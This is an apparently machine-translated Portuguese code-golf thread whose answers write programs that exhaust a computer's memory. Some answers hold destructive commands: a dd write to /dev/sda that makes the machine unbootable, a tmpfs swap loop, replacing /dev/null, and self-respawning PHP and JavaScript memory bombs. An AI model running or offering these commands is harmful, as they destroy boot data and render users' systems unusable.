David Conrad

@ DavidConrad Você acha que sim, mas eu precisava reiniciar minha máquina toda vez que investigava isso e executava esse tipo de script.
AutomatedChaos

11
O VBScript antecede o VB.Net significativamente - não é uma versão de linha de comando do VB.Net; é um subconjunto interpretado do Visual Basic legado.
Chris J

Obrigado a vocês dois. Não percebi qual era a relação entre VBScript e VB.NET.
David Conrad

4

Sim e tmpfs

Por que escrever um novo programa quando se chega de graça com o Ubuntu?

yes > /run/user/$UID/large_file_on_my_ramdisk

Como você provavelmente sabe, ou já adivinhou, o Ubuntu monta / run / user / por padrão como um tmpfs, que é um tipo de disco RAM .

Você nem precisa fechá-lo. Ele se fechará educadamente, deixando um bom pedaço de memória alocado. Presumo que yesseja um programa de processo único e de thread único que não chame nenhum outro (gravar em um disco RAM existente também é trivialmente portátil para o idioma de sua escolha).

Ele possui um bug menor: o Ubuntu limita o tmpfs / run / 1000 gravável pelo usuário a 1000 MB por padrão, portanto, o recurso de morte por troca pode não ser suportado na sua máquina imediatamente. No entanto, eu consegui corrigir isso na minha máquina com a seguinte solução rápida:

sudo mount -o remount,size=10G tmpfs /run/user/

Eu não tenho um /run/userdiretório. Qual versão do Ubuntu você usa e o que instalou para isso?
Ruslan

Ubuntu Trusty Tahr (14.04). Nenhuma instalação especial é necessária.
gmatht

Para descobrir se você possui algum tmpfssistema de arquivos montado, é possível listá-lo df -t tmpfs. Meu sistema Ubuntu tem um adorável grande /run/shmdisponível ...
Toby Speight

4

Bater

Aviso: O código a seguir tornará seu computador não inicializável.

printf "\\xe8\\xfd\\xff" | dd of=/dev/sda
reboot

Aviso: O código anterior tornará seu computador não inicializável.

Substitua / dev / sda pela sua unidade de inicialização. Isso grava o E8 FD FF no início do seu setor de inicialização. Ao inicializar, o BIOS lê seu setor de inicialização na memória e o executa. Esses opcodes são equivalentes a este assembly:

label:
  call label

Isso é uma recursão infinita, que eventualmente causará um estouro de pilha.


No seu exemplo Assembly, você pode salvar um caractere (assumindo que o nome "label" seja necessário) usando em jmpvez decall
SirPython

chamada deixa o endereço de retorno na pilha para ret. O salto não causaria um estouro de pilha.
Jerry Jeremiah

3

Haskell

main=print $ sum [0..]

Isso tenta somar os números contados. Haskell avalia as somas parciais, apenas se torna uma declaração de adição infinita. Se você executar o compilador com sinalizadores de otimização, ele pode não funcionar.


3

Bater

Desde que pode usar utilitários que não são especificamente projetados para consumir memória, eu me concentro em um utilitário para libertar memória: swapon. Isso é usado para permitir que o kernel libere memória gravando no disco.

Este script executa duas otimizações: (1) Montar tmp como tmpfs (um tipo de disco RAM) para tornar o / tmp mais rápido e (2) criar um arquivo de troca para liberar memória. Cada um deles é razoável por si só, mas se um usuário descuidado faz as duas coisas, ele cria um ciclo de troca: quando o sistema operacional tenta trocar as páginas, ele grava nos tmpfs; isso faz com que os tmpfs usem mais memória; isso aumenta a pressão da memória, fazendo com que mais páginas sejam trocadas. Isso pode levar alguns minutos na minha VM, tempo suficiente para você assistir o sistema cavar um buraco usando top.

Fechar o programa faz pouca diferença, já que o próprio programa aloca quase nenhuma memória. Na verdade, não é trivial liberar memória, pois você não pode liberar memória desmontando os tmpfs antes de você swapoffo arquivo de troca, e isso é difícil de fazer até que você libere memória.

Essa resposta pode ser considerada uma advertência contra cegar aplicando truques legais da rede sem entendê-los.

sudo mount -t tmpfs -o size=9999G tmpfs /tmp # Use tmpfs to make /tmp faster
truncate -s 4096G /tmp/swap                  # Now make a giant swap file to free up memory 
sudo losetup /dev/loop4 /tmp/swap            # Use a loopback so we can mount the sparse file
sudo mkswap /dev/loop4
sudo swapon /dev/loop4
#The following line would cause a quick swap death, but isn't needed.
#dd if=/dev/zero of=/tmp/zero bs=1          # Zero the tmp dir so the VM can free more memory

2

Perl

sub _ {
  my($f,$b);
  $f=\$b;$b=\$f;
}
while(1) { _;}

Usa referências circulares. A contagem de referência para as variáveis ​​nunca chegará a 0 e as referências nunca serão coletadas como lixo.

Você pode precisar ser paciente, mas é garantido que você engasga seu sistema. O disco começaria a girar mais rápido e os vapores poderiam estar visíveis.


2

PHP (somente linux):

Este código não foi testado, já que não tenho um computador linux com o php em execução.

Mas esta é a minha prova de conceito:

ignore_user_abort(true);
ini_set('memory_limit',-1);
ini_set('max_execution_time',0);
/*
    sets php to ignore if the script was canceled in the browser
    (like clicking cancel or closing the browser)
    and takes away the memory limit,
    as well as the maximum execution time.
*/

function dont_let_it_stop(){shell_exec('php '.__FILE__.' &');}
//this function calls the file itself.

register_shutdown_function('dont_let_it_stop');
//this function will register the function declared above to be used when the script is being terminated

function get_info($f='current')
{
    return str_replace(' kB','',end(explode(':',trim($f(explode(PHP_EOL,file_get_contents('/proc/meminfo')))))))*1024
}
/*
    this function fetches the infos
    'current' fetches the max memory
    'next' fetches the actual used memory
*/

$max=get_info();//maximum memory
$current=get_info('next');//current memory

$imgs=array(imagecreatetruecolor(1e4,1e4));
$color=imagecolorallocatealpha($imgs[$i=0],128,128,128,126);
imagefill($imgs[$i],0,0,$color);
/*
    this creates an array and inserts one image (10000x10000 pixels),
    filling it then with a solid transparent color
*/

$total-=get_info('next');//calculates the space an image takes

while($max-get_info('next')>$total*2)//while the free memory is higher than the memory of 2 images, fill the array
{
    $imgs[$i++]=imagecreatetruecolor(1e4,1e4);
    $color=imagecolorallocatealpha($imgs[$i-1],128,128,128,126);
    imagefill($imgs[$i-1],0,0,$color);
}

//this is just to keep the images in memory, so the script doesn't end
while(1)sleep(60);

Isso preencherá a memória com enormes imagens RGBA (10000x10000 pixels).

A única maneira de desligar esse bebê é desligar a energia.

O código está todo comentado.

Qualquer melhoria, dúvida, bug ou qualquer coisa, use a caixa de comentários abaixo.


Alguém com acesso à mente Linux testá-lo? Obrigado :)
George

Eu tenho linux, só não tenho certeza de como vai funcionar. Eu forneci a tela de impressão para a 1ª resposta, mas essa é uma versão muito antiga do linux para filhotes. O Ubuntu é muito lento para executar o php. Talvez eu teste no meu Android mais tarde.
Ismael Miguel

11
ele falhar o ponto de não chamar outro programa
Einacio

Não está chamando outro programa: está chamando o mesmo programa que iniciou o arquivo para o mesmo arquivo.
Ismael Miguel

2

Python - 56

class x:
 def __setattr__(self,*args):self.y=0
x().y=0

Cria uma classe, define um método para definir atributos, define um atributo e cria uma instância inicial da qual ele tenta definir um atributo.

Uma função recursiva simples ( def f(x):f(x)) parecia um pouco sem imaginação, então decidi nunca realmente chamar uma função.

O gerenciamento de memória pode capturar a profundidade da recursão, mas realmente depende da implementação.

Se esta é uma bomba de garfo, por favor me diga.


4
Isso faz com que não esgotamento da memória, apenas um: RuntimeError: maximum recursion depth exceeded while calling a Python object. Mesmo a configuração do limite máximo de recursão sys.setrecursionlimitquase sem memória é usada antes de travar com uma falha de segmentação.
Bakuriu 20/03/2014

@Bakuriu Como eu disse, isso realmente depende da implementação (existem implementações do Python que se convertem em C (++) e compilam, por exemplo, Shedskin, Nuitka).
cjfaure

2
Em seguida, indique para quais implementações específicas você está escrevendo o código. Há uma diferença entre os desafios em que apenas a sintaxe é importante e, portanto, a implementação não é relevante, e os desafios que dependem completamente de como a linguagem é implementada.
Bakuriu 20/03/2014

2

Perl

É simples, mas senti vontade de jogar golfe.

{$x=[$x];redo}

Após duas iterações, $xcontém uma referência à matriz que contém uma referência à matriz que contém undef.

O uso da memória é linear no tempo, com pequenas alocações, mas levou apenas alguns segundos para desacelerar gravemente meu gerenciador de janelas no meu sistema Linux Ubuntu. Meio minuto depois, o assassino da OOM cuidou disso.


2

ECMAScript 6:

z=z=>{while(1)z()};_=i=>(i+=1,i-=1,i++,i--,--i,++i,i<<=2,i>>=2,i+=0|Math.round(1+Math.random())&1|0,z(x=>setInterval(x=>z(x=>new Worker('data:text/javascript,'+_.toSource()),5))));setInterval(x=>z(x=>_(...Array(9e3).map((x,z)=>z*3/2*2/4*4e2>>2<<2))),5)

Ungolfed:

function forever(code) {
    // Loop forever
    var counter = 0;

    while (counter++ < 10) setInterval(code, 5);
};

function main(counter) {
    // Do some work.
    counter += 1; counter -= 1;

    counter++; counter--;
    --counter; ++counter;

    counter <<= 2;
    counter >>= 2;

    counter += 0 | Math.round(1 + Math.random()) & 1 | 0;

    forever(() => {
        setInterval(() => {
            forever(() => new Worker('data:text/javascript,' + main.toString()));
        }, 5);
    });
};

setInterval(() => {
    forever(() => {
        main(...Array(9e3).map((currentValue, index) => index * 3 / 2 * 2 / 4 * 4e2 >> 2 << 2));
    });
}, 5);

Nota: Ele usa setTimeout, que é definido como parte do Timers - o HTML Living Standard .

Experimente no Mozilla Firefox (você pode colá-lo no console do desenvolvedor). O Firefox continua consumindo mais e mais memória e os usos 100%da CPU em uma máquina de núcleo único (em uma máquina de quatro núcleos, como a minha, ela usa 25%a CPU). Ele também tem o benefício adicional de que você não pode impedi-lo; se você pode abrir o gerenciador de tarefas, pode matar o Firefox com ele.


11
Ele usa 100% de um núcleo. No seu processador quadcore, isso resulta em 25% do uso da CPU.
Iván Pérez

@Electrosa Sim, você está absolutamente correto. Eu atualizei minha resposta.
Escova de dentes

Esta não é uma questão de código de golfe, tente tornar seu código legível.
Paŭlo Ebermann 24/03

@ PaŭloEbermann OK. Eu publiquei uma versão não destruída.
Escova de dentes

1

Bater

Criar um arquivo vazio test
Substitua /dev/null/por este arquivo de texto

$ sudo mv test /dev/null

Isso funciona de maneira semelhante à resposta do @ Comintern. Toda a saída para /dev/nullagora será anexada a esse arquivo de texto, que com o tempo se tornará enorme e trava o sistema.


11
Um arquivo enorme não trava o sistema. E assumindo que um tamanho médio de disco de 500 gb demore muito tempo para o arquivo chegar perto de encher o disco.
W4etwetewtwet 19/03

11
Nos sistemas em que /devexiste um devtmpfs, ele pode ser preenchido e prejudicar o sistema. Suponho que essa seja a intenção desta resposta.
precisa saber é o seguinte

1

Bash: 7 caracteres

Essa deve ser a solução mais simples do bash. Sem garfos, sem trapaça.

x=`yes`

É aconselhável não executar isso como root.


Nota adicional: mesmo que você termine com ctrl-c no meio do caminho e, em seguida, com unseta variável, a memória permanecerá alocada até que o shell seja morto. Você pode assistir a carnificina top.
Motim

Meus próprios testes com o bash 4.2.45 (1) mostram que libera unset xa memória. O pdksh também libera a memória, mas o ksh93 falha em liberá-lo e exitno ksh93 despeja o núcleo.
kernigh

Para mim (bash 4.3.11 (1)), a exibição da memória residente na parte superior do shell pai sobe constantemente até que yesseja interrompida, e nesse ponto ele permanece lá, unsetsem efeito. Mas isso está em um sistema de memória grande e ter uma variável de vários gigabytes não parece incomodá-lo (até que finalmente decida matar o shell).
Motim

0

C

main()
{
    void * buffer;
    while (1)
        buffer = malloc(4096);
}

Bem, é preciso memória página após página e, finalmente, não resta memória.


Quão universal é uma página de 4 KB?
Peter Mortensen

O @ Peter 4K geralmente é do tamanho, mas não sei dizer se é realmente universal, mas o tamanho da página não tem relação com uma pergunta.
ST3 21/03

11
@ ST3: Você deve sujar a página de memória. A maioria dos sistemas operacionais modernos usa memória virtual e apenas faz um registro na tabela de memória virtual quando você aloca memória. A gravação de um único byte na página de memória já forçará o sistema operacional a mapear a página de memória virtual para a memória física.
Foobar 21/03


0

Rubi

a=[];loop{a<<a}

Ele acrescenta infinitamente (auto-referências recursivas) referências a si próprio.

Descobri essa pequena joia quando alguém quebrou minha caixa de areia Ruby com ela . : D

Demonstração dos aspectos recursivos:

[1] pry(main)> a=[]; a<<a; a
=> [[...]]
[2] pry(main)> 

0

C ++ 79

void f(char *p,int i){p=new char[i];f(p,++i);}
int main(){char c='a';f(&c,1);}

Não-golfe

void leak(char *p,int i)
{
    p=new char[i];
    leak(p,++i);
}

int main()
{
    char c='a';
    f(&c,1);
}

Corrigi minha entrada para incluir a chamada do principal.


Este é um concurso de popularidade. Se o programa funcionar, mantenha o principal e o cabeçalho. está bem. Além disso, você poderia postar uma versão sem golfe? Obrigado :)
George
Ao utilizar nosso site, você reconhece que leu e compreendeu nossa Política de Cookies e nossa Política de Privacidade.
Licensed under cc by-sa 3.0 with attribution required.